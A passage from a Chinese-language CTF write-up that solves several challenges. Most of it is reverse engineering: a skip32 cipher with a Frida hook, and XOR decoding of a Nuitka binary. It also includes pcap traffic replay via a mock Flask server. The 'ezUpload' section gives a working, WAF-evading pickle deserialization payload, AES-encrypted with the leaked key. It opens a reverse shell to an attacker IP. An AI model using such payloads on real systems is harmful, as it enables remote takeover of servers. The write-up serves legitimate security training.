}
if (decoded.len > 0) {
free(decoded.data);
decoded.data = 0;
}
}
/*--------------------------------------------------------------------------------------------------------------*/
int main()
{
String decoded;
int len;
//密钥
const key_t key = {107, 101, 121, 33, 107, 101, 121, 33};
//密文
const ubyte data[] = {125, 234, 224, 219, 27, 214, 109, 85, 209, 233, 192, 113, 12, 1, 19, 43};
//密文长度
len = sizeof(data) / sizeof(ubyte);
decoded = decrypt(key, data, len);
printf("Decoded:%s\n", decoded.data);
//释放内存
if (decoded.len > 0) {
free(decoded.data);
decoded.data = 0;
}
return 0;
}

得到username:7d77cfe8

再看checkpass

可以看到是个skip32算法

github上可以找到该算法的实现:https://github.com/boivie/skip32-java

这里魔改了密钥的长度,从10字节改成8字节

在native层JNI_OnLoad中反射修改了FTABLE的值

frida去hook一下ftable就行

1
2
3
4
5
6
7
8
9
10
11
function hook_RegisterNatives() {
Java.perform(function(){
let Skip32 = Java.use("com.ex.skip.Skip32");
var data = Skip32.FTABLE.value;
console.log(data);

})
}

setImmediate(hook_RegisterNatives);
// 164,216,10,132,249,73,247,245,180,34,22,121,154,178,176,250,232,46,78,139,207,77,203,47,83,150,218,31,79,57,69,41,11,224,3,161,24,242,97,105,19,184,123,196,234,251,62,84,151,133,108,187,243,100,155,26,125,175,230,246,248,23,107,163,58,183,124,16,194,148,130,28,239,181,27,235,209,146,48,185,86,186,219,134,64,66,192,225,91,89,129,96,103,12,217,145,54,214,193,168,52,7,102,106,70,1,149,87,110,153,156,119,152,253,179,195,177,255,220,33,226,236,215,229,222,72,75,30,67,238,159,111,74,61,206,68,40,211,8,213,223,200,104,25,138,204,49,32,142,199,144,171,201,117,221,202,94,93,50,165,113,137,98,45,160,14,44,136,81,131,85,101,39,126,4,65,53,76,29,116,210,197,254,60,205,252,128,172,231,63,92,166,174,5,36,157,21,82,35,241,42,122,114,127,0,141,15,227,13,240,189,115,118,112,56,162,237,212,143,99,140,135,17,233,9,120,18,191,147,80,37,198,51,55,158,208,244,167,188,173,95,109,170,20,88,38,182,228,190,169,59,2,6,90,43,71

最后解密拿到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
import java.util.Arrays;

public class Skip32 {
private static final int FTABLE[] = {164,216,10,132,249,73,247,245,180,34,22,121,154,178,176,250,232,46,78,139,207,77,203,47,83,150,218,31,79,57,69,41,11,224,3,161,24,242,97,105,19,184,123,196,234,251,62,84,151,133,108,187,243,100,155,26,125,175,230,246,248,23,107,163,58,183,124,16,194,148,130,28,239,181,27,235,209,146,48,185,86,186,219,134,64,66,192,225,91,89,129,96,103,12,217,145,54,214,193,168,52,7,102,106,70,1,149,87,110,153,156,119,152,253,179,195,177,255,220,33,226,236,215,229,222,72,75,30,67,238,159,111,74,61,206,68,40,211,8,213,223,200,104,25,138,204,49,32,142,199,144,171,201,117,221,202,94,93,50,165,113,137,98,45,160,14,44,136,81,131,85,101,39,126,4,65,53,76,29,116,210,197,254,60,205,252,128,172,231,63,92,166,174,5,36,157,21,82,35,241,42,122,114,127,0,141,15,227,13,240,189,115,118,112,56,162,237,212,143,99,140,135,17,233,9,120,18,191,147,80,37,198,51,55,158,208,244,167,188,173,95,109,170,20,88,38,182,228,190,169,59,2,6,90,43,71};
private static int g(byte[] key, int k, int w) {
int g1, g2, g3, g4, g5, g6;

g1 = w >> 8;
g2 = w & 0xff;

g3 = FTABLE[g2 ^ (key[(4 * k) % 8] & 0xFF)] ^ g1;
g4 = FTABLE[g3 ^ (key[(4 * k + 1) % 8] & 0xFF)] ^ g2;
g5 = FTABLE[g4 ^ (key[(4 * k + 2) % 8] & 0xFF)] ^ g3;
g6 = FTABLE[g5 ^ (key[(4 * k + 3) % 8] & 0xFF)] ^ g4;

return (g5 << 8) + g6;
}

public static void skip32(byte[] key, int[] buf, boolean encrypt) {
int k; /* round number */
int i; /* round counter */
int kstep;
int wl, wr;

/* sort out direction */
if (encrypt) {
kstep = 1;
k = 0;
} else {
kstep = -1;
k = 23;
}

/* pack into words */
wl = (buf[0] << 8) + buf[1];
wr = (buf[2] << 8) + buf[3];

/* 24 feistel rounds, doubled up */
for (i = 0; i < 24 / 2; ++i) {
wr ^= g(key, k, wl) ^ k;
k += kstep;
wl ^= g(key, k, wr) ^ k;
k += kstep;
}

/* implicitly swap halves while unpacking */
buf[0] = (wr >> 8);
buf[1] = (wr & 0xFF);
buf[2] = (wl >> 8);
buf[3] = (wl & 0xFF);
}


public static int encrypt(int value, byte[] key) {
int[] buf = new int[4];
buf[0] = ((value >> 24) & 0xff);
buf[1] = ((value >> 16) & 0xff);
buf[2] = ((value >> 8) & 0xff);
buf[3] = ((value >> 0) & 0xff);

skip32(key, buf, true);

int out = ((buf[0]) << 24) | ((buf[1]) << 16) | ((buf[2]) << 8)
| (buf[3]);

return out;
}


public static int ddd(int value, byte[] key) {
int[] buf = new int[4];

buf[0] = ((value >> 24) & 0xff);
buf[1] = ((value >> 16) & 0xff);
buf[2] = ((value >> 8) & 0xff);
buf[3] = ((value >> 0) & 0xff);

skip32(key, buf, false);

int out = ((buf[0]) << 24) | ((buf[1]) << 16) | ((buf[2]) << 8)
| (buf[3]);

return out;
}



public static void main(String[] args) {
byte[] key="7d77cfe8".getBytes();
int[] iArr={52, 142, 226, 172, 108, 94, 80, 51, 11, 251, 68, 164, 231, 6, 124, 223, 100, 62, 116, 70};
for(int i=0;i<20;i+=4){
int value=(iArr[i]<<24)|(iArr[i+1]<<16)|(iArr[i+2]<<8)|(iArr[i+3]);
value=ddd(value,key);
iArr[i]=((value >> 24) & 0xff);
iArr[i+1] =((value >> 16) & 0xff);
iArr[i+2] = ((value >> 8) & 0xff);
iArr[i+3] = ((value) & 0xff);
}


StringBuilder sb = new StringBuilder();

// 遍历 ASCII 值数组,将每个值转换为字符并添加到 StringBuilder
for (int value : iArr) {
sb.append((char) value); // 将 ASCII 值转换为字符
}

System.out.println(sb.toString());

}
}

用户名和密码拼接就是flag

flag{7d77cfe8c58b6a2f988bc9434a45}

Nu1tka

[题目writeup]:

点击下载题文件

ida64打开

这里是个跳板程序,直接动调拿到ApplicationName

去文件夹找到真正的程序

再用ida64打开

找到main字符串,交叉引用+动调找到main函数

一直跟到输入

我们可以点进函数,看到是input,后面的一些函数也是点进去,看看报错信息或者提示字符串判断是什么函数

输入必须是40个字节

640 (38)

循环将输入转成ascii列表

640 (39)

1
int.from_bytes(data,"little")

转化成4字节数组

640 (40)

640 (41)

这里存放了两个数组,跟到后面可以发现分别是key和密文

640 (42)

输入和key进行了异或,然后和密文进行比较

640 (43)

提取出密文和key异或就能得到flag,这里得注意python存放数据uint32是以30bit为单位的,需要自己转化一下,才能得到正确的数据

详细参考longintrepr.h

640 (44)

1
2
3
4
5
6
7
key=[0xf5138033,0x985a0194,0xb4c41b8f,0x8b1e6089,0x8db7419b,0xdc6873f3,0x849faa92,0xb0d6b47e,0xa3ad4395,0xb3ea34c7]
enc=[0x9272ec55,0xa86f64ef,0x8ca02ded,0xba2a4def,0xe99a25fa,0xf10b4bc2,0xe2a89bf4,0xd2e28553,0x909920a3,0xcedd52a6]
for i in range(len(enc)):
enc[i]^=key[i]
import libnum
for i in enc:
print(libnum.n2s(i).decode()[::-1],end="")

flag{e50b6d8f-41ad-d18c-f17f-14b6c43af7}

day3

ezUpload

题目是一个文件加解密系统,探测后发现可以上传TXT文件

尝试随便上传一个内容,发现加密后的内容疑似AES加密后的内容

1-1737295858

扫描路由后发现存在hint路由,获取到内容VXBMT2FkX2VuY3I3UHQzZA==,BASE64解密后得到内容UpLOad_encr7Pt3d

10-1737295860

进一步探测后,发现解密文件时存在pickle反序列化,因此构造pickle反序列化payload,将AES-ECB加密后的内容上传解密,但是存在WAF拦截,盲测后发现过滤内容如下:

1
if b'R' in data or b'i' in data or b'b' in data or b'o' in data or b'curl' in data or b'flag' in data or b'system' in data or b' ' in data:

构造反弹Shell的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import pickle
import base64


def encrypt_data(data):
key = b'UpLOad_encr7Pt3d'
cipher = AES.new(key, AES.MODE_ECB)
padded_data = pad(data, AES.block_size)
encrypted_data = cipher.encrypt(padded_data)
return base64.b64encode(encrypted_data).decode('utf-8')

payload = b'''V__u0062uu0069ltu0069n__
Vmap
x93p0
0(]Vu0069mpu006Frtu0020su006Fcket,suu0062pru006Fcess,u006Fs;s=su006Fcket.su006Fcket(su006Fcket.AF_INET,su006Fcket.SOCK_STu0052EAM);s.cu006Fnnect(("192.168.0.115",4444));u006Fs.dup2(s.fu0069lenu006F(),0);u006Fs.dup2(s.fu0069lenu006F(),1);u006Fs.dup2(s.fu0069lenu006F(),2);p=suu0062pru006Fcess.call(["/u0062u0069n/sh","-u0069"]);
ap1
0((V__u0062uu0069ltu0069n__
Vexec
x93g1
tp2
0(g0
g2
x81tp3
0V__u0062uu0069ltu0069n__
Vu0062ytes
x93p4
g3
x81.'''

print(encrypt_data(payload))

将生成的payload用TXT文本保存,上传文件解密,反弹Shell,成功获取服务器权限

5-1737295860

reproduction

点击下载题文件

打开流量包,过流http请求流量

9-1737295863

观察可以得出流量内容为对一个服务器的接口进行大量的请求

发送的请求包含positionhash两个字段

9-1737295865

服务器返回分为500200400三种响应

4-1737295865

再根据流量包分析可以得出这些流量包是在进行类似盲注的操作,返回200响应码后position会+1进行下一轮注入

exe进行了加壳处理无法直接分析盲注逻辑,考虑根据流量包中请求与响应构造模拟客户端,再使用client.exe对模拟客户端进行测试得到flag

先提取请求与响应:

D:Wiresharktshark.exe -r testflag.pcapng -Y “http” -T fields -e urlencoded-form.value -e http.response.code> output.txt

运行处理数据脚本前先批量替换制表符为空

处理数据脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def read_and_process_file(file_path):
result_dict = []
with open(file_path, 'r') as file:
lines = file.readlines()
for i in range(0, len(lines), 2):
# 确保有两行可以读取
if i + 1 < len(lines):
key_line = lines[i].strip() # 去除首尾空白字符
value_line = lines[i + 1].strip()
pos = key_line.split(',')[0].strip()
# 截取第一行逗号后的内容作为key
key = key_line.split(',')[-1].strip()
# 将处理后的key和value添加到字典中
result_dict.append({pos:{key:value_line}})
return result_dict

# 假设你的文件路径是 'your_file.txt'
file_path = 'output.txt'
result = read_and_process_file(file_path)
print(result)

编写一个模拟服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from flask import Flask, request, jsonify

app = Flask(__name__)

# 定义一个字典,用于存储传入值和对应的响应
response_list = [{'0': {'0167400eef2f00e5dafd7644fb3e3d6d': '500'}}, {'0': {'b83b1916ca1cc17552e24ee98cd4518c': '500'}}, {'0': {'cec5d1f92cef379ce26c8e357c4ceb70': '500'}}, {'0': {'df06be27f001e1ccc23b6bac62b76bb8': '500'}}, {'0': {'cf9a2ec2ed360217d8d972da9a73b4b1': '500'}}, {'0': {'06adf343c2d384a7331f00c0c55809ed': '500'}}, {'0': {'6699773c1e813784c53844e1c26b1733': '500'}}, {'0': {'0ce48ad5c646c116691c4451c17dc5a1': '500'}}, {'0': {'6a9a485d4030f9b5558a0c8deb8f77af': '500'}}, {'0': {'0bcb6ffbec5cc87e21cf2139f88e9925': '500'}}, {'0': {'b1c44d950c13191a3808ec76213e2d24': '500'}}, {'0': {'673c781b6772ab7a23674f36593a1ac1': '500'}}, {'0': {'113d16862ee604a9811551bce0c7c490': '500'}}, {'0': {'99b87df1c1386e3f86ba7971c041d933': '500'}}, {'0': {'062352b5435df2f54d41597ad44cf13e': ''}}, {'200': {'200': ''}}, {'200': {'200': '500'}}, {'0': {'c855c482bf3d5954b6a997127ec1ee94': '500'}}, {'0': {'401cd362359df071260aebf71836d52b': '500'}}, {'0': {'6ec38b6e5e2e62e31015956780cdc5b6': '500'}}, {'0': {'693325d01d8f376c0aa59f2438cd147a': '500'}}, {'0': {'deacdfd6851d72a267f180c269b2578f': '500'}}, {'0': {'efe115fd1235940252113df4a7d00aee': '500'}}, {'0': {'ad8a6adb2196e0e432eda120700a6022': '500'}}, {'0': {'208530224471663cf2a7ad02a80db28d': '500'}}, {'0': {'dadefb8dfc6e229f6a0a4d11e5431085': '500'}}, {'0': {'46db23c2b2efe7f8e7d9ffe4605a4660': '500'}}, {'0': {'b1d18a2f5b6a982883c6728591ca752a': '500'}}, {'0': {'327acfe04c2bdf06fe182c051336fe42': '500'}}, {'0': {'749390ecd8fdb526a21d403c336ff76f': '500'}}, {'0': {'2c59fd9ba8b44eb106bac9379ba8c18e': '500'}}, {'0': {'80ba28c5abee89abe7825b24752c883f': '500'}}, {'0': {'b26e9898be9447069a85d8ee418df985': '500'}}, {'0': {'603d46455bd3c1bfce2f3d1f40006c62': '500'}}, {'0': {'c8e5b12d8205221fcb57700553bc6d1d': '500'}}, {'0': {'5a238d0dbd74be271e70e08697883883': '500'}}, {'0': {'c47e93d8ce347680897b9f8d1e655b3d': '500'}}, {'0': {'ccdc1766c84f74d7376ebc9f13955f15': '500'}}, {'0': {'a79d5e01ceac580f13f98297b25ecfa1': '500'}}, {'0': {'992793ddb406269517ee56b718bd852b': '500'}}, {'0': {'84f0a181277bb584aefccc95c53893eb': '500'}}, {'0': {'b83e7bc066b27a266623ea242c5e97c1': '500'}}, {'0': {'2fb84163fd57517d8c634e24c181185a': '500'}}, {'0': {'9655f71fd39678ecc73b0acd330e1908': '500'}}, {'0': {'625e9ecb22a9e3ef846c944d2eb51482': '500'}}, {'0': {'9732a8c1ee2ac5726d4efa6632c09cf9': '500'}}, {'0': {'a3d278f45936108fb619ddb9a73ee8c0': '500'}}, {'0': {'f288472b37fa6381d1d5df2cc959f7cb': '500'}}, {'0': {'0b4d74254115d12b728a1fa0a02e0b8e': '500'}}, {'0': {'656f0488186619a3078e62362f0ff59a': '500'}}, {'0': {'3fdb45b2c4193be94868dc8937aeaf37': '500'}}, {'0': {'3a008667c35e6d0607999e594a7dc71a': '500'}}, {'0': {'e0b606e18b2ff6699d30a7410fb24e8b': '500'}}, {'0': {'276d47ce4b20547a22b0b830ef12c6da': '500'}}, {'0': {'cc32aa298a593c85f5df37d10b2e8962': '500'}}, {'0': {'d002659ed9981d5b434fc1de217299ac': '500'}}, {'0': {'2d61b93a6ef76fca313e455b7651d7b3': '500'}}, {'0': {'8fa33c27bed861319c6f6830414c3d6b': '500'}}, {'0': {'965f42b413681152fff54b5680495846': '500'}}, {'0': {'dd5b5cd51050f4318304ab8a2550f0cc': '500'}}, {'0': {'bed5ba395b238c44d19e6334cdb17f2d': '500'}}, {'0': {'e3d0fa9cca0de20a4e98e079dd7c3069': '500'}}, {'0': {'0880a32e51e1523b61cb60bacdd22d5f': '500'}}, {'0': {'caf345e43a3a4c99b71a8e5a67accb9e': '500'}}, {'0': {'9633b2b0980d5a88a9ca4a18a7c546a7': '500'}}, {'0': {'09266dcc374f31e877a68697be029f96': '500'}}, {'0': {'af7e0c2721a40aae5782d8a15db52767': '500'}}, {'0': {'dde65aa3955c81ebb5773bb87b56acf2': '500'}}, {'0': {'4f2855d8ca0bc9e5fe44f692defecfa0': '500'}}, {'0': {'26ce223ba04a328330a2b38732d67400': '500'}}, {'0': {'5a3409411227c567de7cb8e6d86d7cb4': '500'}}, {'0': {'b89925ff880378f12864cc58202579af': '500'}}, {'0': {'f7cbfbc7ec5bbc2d56d8d1f50f46018e': '200'}}, {'1': {'0167400eef2f00e5dafd7644fb3e3d6d': '500'}}, {'1': {'b83b1916ca1cc17552e24ee98cd4518c': '500'}}, {'1': {'cec5d1f92cef379ce26c8e357c4ceb70': '500'}}, {'1': {'df06be27f001e1ccc23b6bac62b76bb8': '500'}}, {'1': {'cf9a2ec2ed360217d8d972da9a73b4b1': '500'}}, {'1': {'06adf343c2d384a7331f00c0c55809ed': '500'}}, {'1': {'6699773c1e813784c53844e1c26b1733': '500'}}, {'1': {'0ce48ad5c646c116691c4451c17dc5a1': '500'}}, {'1': {'6a9a485d4030f9b5558a0c8deb8f77af': '500'}}, {'1': {'0bcb6ffbec5cc87e21cf2139f88e9925': '500'}}, {'1': {'b1c44d950c13191a3808ec76213e2d24': '500'}}, {'1': {'673c781b6772ab7a23674f36593a1ac1': '500'}}, {'1': {'113d16862ee604a9811551bce0c7c490': '500'}}, {'1': {'99b87df1c1386e3f86ba7971c041d933': '500'}}, {'1': {'062352b5435df2f54d41597ad44cf13e': '500'}}, {'1': {'c855c482bf3d5954b6a997127ec1ee94': '500'}}, {'1': {'401cd362359df071260aebf71836d52b': '500'}}, {'1': {'6ec38b6e5e2e62e31015956780cdc5b6': '500'}}, {'1': {'693325d01d8f376c0aa59f2438cd147a': '500'}}, {'1': {'deacdfd6851d72a267f180c269b2578f': '500'}}, {'1': {'efe115fd1235940252113df4a7d00aee': '500'}}, {'1': {'ad8a6adb2196e0e432eda120700a6022': '500'}}, {'1': {'208530224471663cf2a7ad02a80db28d': '500'}}, {'1': {'dadefb8dfc6e229f6a0a4d11e5431085': '500'}}, {'1': {'46db23c2b2efe7f8e7d9ffe4605a4660': '500'}}, {'1': {'b1d18a2f5b6a982883c6728591ca752a': '500'}}, {'1': {'327acfe04c2bdf06fe182c051336fe42': '500'}}, {'1': {'749390ecd8fdb526a21d403c336ff76f': '500'}}, {'1': {'2c59fd9ba8b44eb106bac9379ba8c18e': '500'}}, {'1': {'80ba28c5abee89abe7825b24752c883f': '500'}}, {'1': {'b26e9898be9447069a85d8ee418df985': '500'}}, {'1': {'603d46455bd3c1bfce2f3d1f40006c62': '500'}}, {'1': {'c8e5b12d8205221fcb57700553bc6d1d': '500'}}, {'1': {'5a238d0dbd74be271e70e08697883883': '500'}}, {'1': {'c47e93d8ce347680897b9f8d1e655b3d': '500'}}, {'1': {'ccdc1766c84f74d7376ebc9f13955f15': '500'}}, {'1': {'a79d5e01ceac580f13f98297b25ecfa1': '500'}}, {'1': {'992793ddb406269517ee56b718bd852b': '500'}}, {'1': {'84f0a181277bb584aefccc95c53893eb': '500'}}, {'1': {'b83e7bc066b27a266623ea242c5e97c1': '500'}}, {'1': {'2fb84163fd57517d8c634e24c181185a': '500'}}, {'1': {'9655f71fd39678ecc73b0acd330e1908': '500'}}, {'1': {'625e9ecb22a9e3ef846c944d2eb51482': '500'}}, {'1': {'9732a8c1ee2ac5726d4efa6632c09cf9': '500'}}, {'1': {'a3d278f45936108fb619ddb9a73ee8c0': '500'}}, {'1': {'f288472b37fa6381d1d5df2cc959f7cb': '500'}}, {'1': {'0b4d74254115d12b728a1fa0a02e0b8e': '500'}}, {'1': {'656f0488186619a3078e62362f0ff59a': '500'}}, {'1': {'3fdb45b2c4193be94868dc8937aeaf37': '500'}}, {'1': {'3a008667c35e6d0607999e594a7dc71a': '500'}}, {'1': {'e0b606e18b2ff6699d30a7410fb24e8b': '500'}}, {'1': {'276d47ce4b20547a22b0b830ef12c6da': '500'}}, {'1': {'cc32aa298a593c85f5df37d10b2e8962': '500'}}, {'1': {'d002659ed9981d5b434fc1de217299ac': '500'}}, {'1': {'2d61b93a6ef76fca313e455b7651d7b3': '500'}}, {'1': {'8fa33c27bed861319c6f6830414c3d6b': '500'}}, {'1': {'965f42b413681152fff54b5680495846': '500'}}, {'1': {'dd5b5cd51050f4318304ab8a2550f0cc': '500'}}, {'1': {'bed5ba395b238c44d19e6334cdb17f2d': '500'}}, {'1': {'e3d0fa9cca0de20a4e98e079dd7c3069': '500'}}, {'1': {'0880a32e51e1523b61cb60bacdd22d5f': '500'}}, {'1': {'caf345e43a3a4c99b71a8e5a67accb9e': '500'}}, {'1': {'9633b2b0980d5a88a9ca4a18a7c546a7': '500'}}, {'1': {'09266dcc374f31e877a68697be029f96': '500'}}, {'1': {'af7e0c2721a40aae5782d8a15db52767': '500'}}, {'1': {'dde65aa3955c81ebb5773bb87b56acf2': '500'}}, {'1': {'4f2855d8ca0bc9e5fe44f692defecfa0': '500'}}, {'1': {'26ce223ba04a328330a2b38732d67400': '500'}}, {'1': {'5a3409411227c567de7cb8e6d86d7cb4': '500'}}, {'1': {'b89925ff880378f12864cc58202579af': '500'}}, {'1': {'f7cbfbc7ec5bbc2d56d8d1f50f46018e': '500'}}, {'1': {'719aa677366a11a13d6e0fab7fa94126': '500'}}, {'1': {'acbd15e5a36e317de9d853bf24f892a6': '500'}}, {'1': {'1935c0d84acb890657ceb7749ff30a84': '500'}}, {'1': {'5b0b3aabf1f8130ff2fc2a5d9a154b3f': '500'}}, {'1': {'1b677e57e5b420ed45c45245060500b2': '500'}}, {'1': {'efa87c138fd8a74ceafb49415140a5a9': '200'}}, {'2': {'0167400eef2f00e5dafd7644fb3e3d6d': '500'}}, {'2': {'b83b1916ca1cc17552e24ee98cd4518c': '500'}}, {'2': {'cec5d1f92cef379ce26c8e357c4ceb70': ''}}, {'200': {'200': ''}}, {'200': {'200': '500'}}, {'2': {'df06be27f001e1ccc23b6bac62b76bb8': '500'}}, {'2': {'cf9a2ec2ed360217d8d972da9a73b4b1': '500'}}, {'2': {'06adf343c2d384a7331f00c0c55809ed': '500'}}, {'2': {'6699773c1e813784c53844e1c26b1733': '500'}}, {'2': {'0ce48ad5c646c116691c4451c17dc5a1': '500'}}, {'2': {'6a9a485d4030f9b5558a0c8deb8f77af': '500'}}, {'2': {'0bcb6ffbec5cc87e21cf2139f88e9925': '500'}}, {'2': {'b1c44d950c13191a3808ec76213e2d24': '500'}}, {'2': {'673c781b6772ab7a23674f36593a1ac1': '500'}}, {'2': {'113d16862ee604a9811551bce0c7c490': '500'}}, {'2': {'99b87df1c1386e3f86ba7971c041d933': '500'}}, {'2': {'062352b5435df2f54d41597ad44cf13e': '500'}}, {'2': {'c855c482bf3d5954b6a997127ec1ee94': '500'}}, {'2': {'401cd362359df071260aebf71836d52b': '500'}}, {'2': {'6ec38b6e5e2e62e31015956780cdc5b6': '500'}}, {'2': {'693325d01d8f376c0aa59f2438cd147a': '500'}}, {'2': {'deacdfd6851d72a267f180c269b2578f': '500'}}, {'2': {'efe115fd1235940252113df4a7d00aee': '500'}}, {'2': {'ad8a6adb2196e0e432eda120700a6022': '500'}}, {'2': {'208530224471663cf2a7ad02a80db28d': '500'}}, {'2': {'dadefb8dfc6e229f6a0a4d11e5431085': '500'}}, {'2': {'46db23c2b2efe7f8e7d9ffe4605a4660': '500'}}, {'2': {'b1d18a2f5b6a982883c6728591ca752a': '500'}}, {'2': {'327acfe04c2bdf06fe182c051336fe42': '500'}}, {'2': {'749390ecd8fdb526a21d403c336ff76f': '500'}}, {'2': {'2c59fd9ba8b44eb106bac9379ba8c18e': '500'}}, {'2': {'80ba28c5abee89abe7825b24752c883f': '500'}}, {'2': {'b26e9898be9447069a85d8ee418df985': '500'}}, {'2': {'603d46455bd3c1bfce2f3d1f40006c62': '500'}}, {'2': {'c8e5b12d8205221fcb57700553bc6d1d': '500'}}, {'2': {'5a238d0dbd74be271e70e08697883883': '500'}}, {'2': {'c47e93d8ce347680897b9f8d1e655b3d': '500'}}, {'2': {'ccdc1766c84f74d7376ebc9f13955f15': '500'}}, {'2': {'a79d5e01ceac580f13f98297b25ecfa1': '500'}}, {'2': {'992793ddb406269517ee56b718bd852b': '500'}}, {'2': {'84f0a181277bb584aefccc95c53893eb': '500'}}, {'2': {'b83e7bc066b27a266623ea242c5e97c1': '500'}}, {'2': {'2fb84163fd57517d8c634e24c181185a': '500'}}, {'2': {'9655f71fd39678ecc73b0acd330e1908': '500'}}, {'2': {'625e9ecb22a9e3ef846c944d2eb51482': '500'}}, {'2': {'9732a8c1ee2ac5726d4efa6632c09cf9': '500'}}, {'2': {'a3d278f45936108fb619ddb9a73ee8c0': '500'}}, {'2': {'f288472b37fa6381d1d5df2cc959f7cb': '500'}}, {'2': {'0b4d74254115d12b728a1fa0a02e0b8e': '500'}}, {'2': {'656f0488186619a3078e62362f0ff59a': '500'}}, {'2': {'3fdb45b2c4193be94868dc8937aeaf37': '500'}}, {'2': {'3a008667c35e6d0607999e594a7dc71a': '500'}}, {'2': {'e0b606e18b2ff6699d30a7410fb24e8b': '500'}}, {'2': {'276d47ce4b20547a22b0b830ef12c6da': '500'}}, {'2': {'cc32aa298a593c85f5df37d10b2e8962': '500'}}, {'2': {'d002659ed9981d5b434fc1de217299ac': '500'}}, {'2': {'2d61b93a6ef76fca313e455b7651d7b3': '500'}}, {'2': {'8fa33c27bed861319c6f6830414c3d6b': '500'}}, {'2': {'965f42b413681152fff54b5680495846': '500'}}, {'2': {'dd5b5cd51050f4318304ab8a2550f0cc': '500'}}, {'2': {'bed5ba395b238c44d19e6334cdb17f2d': '500'}}, {'2': {'e3d0fa9cca0de20a4e98e079dd7c3069': '500'}}, {'2': {'0880a32e51e1523b61cb60bacdd22d5f': '500'}}, {'2': {'caf345e43a3a4c99b71a8e5a67accb9e': '500'}}, {'2': {'9633b2b0980d5a88a9ca4a18a7c546a7': '500'}}, {'2': {'09266dcc374f31e877a68697be029f96': '500'}}, {'2': {'af7e0c2721a40aae5782d8a15db52767': '500'}}, {'2': {'dde65aa3955c81ebb5773bb87b56acf2': '200'}}, {'3': {'0167400eef2f00e5dafd7644fb3e3d6d': '500'}}, {'3': {'b83b1916ca1cc17552e24ee98cd4518c': '500'}}, {'3': {'cec5d1f92cef379ce26c8e357c4ceb70': '500'}}, {'3': {'df06be27f001e1ccc23b6bac62b76bb8': '500'}}, {'3': {'cf9a2ec2ed360217d8d972da9a73b4b1': '500'}}, {'3': {'06adf343c2d384a7331f00c0c55809ed': '500'}}, {'3': {'6699773c1e813784c53844e1c26b1733': '500'}}, {'3': {'0ce48ad5c646c116691c4451c17dc5a1': '500'}}, {'3': {'6a9a485d4030f9b5558a0c8deb8f77af': '500'}}, {'3': {'0bcb6ffbec5cc87e21cf2139f88e9925': '500'}}, {'3': {'b1c44d950c13191a3808ec76213e2d24': '500'}}, {'3': {'673c781b6772ab7a23674f36593a1ac1': '500'}}, {'3': {'113d16862ee604a9811551bce0c7c490': '500'}}, {'3': {'99b87df1c1386e3f86ba7971c041d933': '500'}}, {'3': {'062352b5435df2f54d41597ad44cf13e': '500'}}, {'3': {'c855c482bf3d5954b6a997127ec1ee94': '500'}}, {'3': {'401cd362359df071260aebf71836d52b': '500'}}, {'3': {'6ec38b6e5e2e62e31015956780cdc5b6': '500'}}, {'3': {'693325d01d8f376c0aa59f2438cd147a': '500'}}, {'3': {'deacdfd6851d72a267f180c269b2578f': '500'}}, {'3': {'efe115fd1235940252113df4a7d00aee': '500'}}, {'3': {'ad8a6adb2196e0e432eda120700a6022': '500'}}, {'3': {'208530224471663cf2a7ad02a80db28d': '500'}}, {'3': {'dadefb8dfc6e229f6a0a4d11e5431085': '500'}}, {'3': {'46db23c2b2efe7f8e7d9ffe4605a4660': '500'}}, {'3': {'b1d18a2f5b6a982883c6728591ca752a': '500'}}, {'3': {'327acfe04c2bdf06fe182c051336fe42': '500'}}, {'3': {'749390ecd8fdb526a21d403c336ff76f': '500'}}, {'3': {'2c59fd9ba8b44eb106bac9379ba8c18e': '500'}}, {'3': {'80ba28c5abee89abe7825b24752c883f': '500'}}, {'3': {'b26e9898be9447069a85d8ee418df985': '500'}}, {'3': {'603d46455bd3c1bfce2f3d1f40006c62': '500'}}, {'3': {'c8e5b12d8205221fcb57700553bc6d1d': '500'}}, {'3': {'5a238d0dbd74be271e70e08697883883': '500'}}, {'3': {'c47e93d8ce347680897b9f8d1e655b3d': '500'}}, {'3': {'ccdc1766c84f74d7376ebc9f13955f15': '500'}}, {'3': {'a79d5e01ceac580f13f98297b25ecfa1': '500'}}, {'3': {'992793ddb406269517ee56b718bd852b': '500'}}, {'3': {'84f0a181277bb584aefccc95c53893eb': '500'}}, {'3': {'b83e7bc066b27a266623ea242c5e97c1': '500'}}, {'3': {'2fb84163fd57517d8c634e24c181185a': '500'}}, {'3': {'9655f71fd39678ecc73b0acd330e1908': '500'}}, {'3': {'625e9ecb22a9e3ef846c944d2eb51482': '500'}}, {'3': {'9732a8c1ee2ac5726d4efa6632c09cf9': '500'}}, {'3': {'a3d278f45936108fb619ddb9a73ee8c0': '500'}}, {'3': {'f288472b37fa6381d1d5df2cc959f7cb': '500'}}, {'3': {'0b4d74254115d12b728a1fa0a02e0b8e': '500'}}, {'3': {'656f0488186619a3078e62362f0ff59a': '500'}}, {'3': {'3fdb45b2c4193be94868dc8937aeaf37': '500'}}, {'3': {'3a008667c35e6d0607999e594a7dc71a': '500'}}, {'3': {'e0b606e18b2ff6699d30a7410fb24e8b': '500'}}, {'3': {'276d47ce4b20547a22b0b830ef12c6da': '500'}}, {'3': {'cc32aa298a593c85f5df37d10b2e8962': '500'}}, {'3': {'d002659ed9981d5b434fc1de217299ac': '500'}}, {'3': {'2d61b93a6ef76fca313e455b7651d7b3': '500'}}, {'3': {'8fa33c27bed861319c6f6830414c3d6b': '500'}}, {'3': {'965f42b413681152fff54b5680495846': '500'}}, {'3': {'dd5b5cd51050f4318304ab8a2550f0cc': '500'}}, {'3': {'bed5ba395b238c44d19e6334cdb17f2d': '500'}}, {'3': {'e3d0fa9cca0de20a4e98e079dd7c3069': '500'}}, {'3': {'0880a32e51e1523b61cb60bacdd22d5f': '500'}}, {'3': {'caf345e43a3a4c99b71a8e5a67accb9e': '500'}}, {'3': 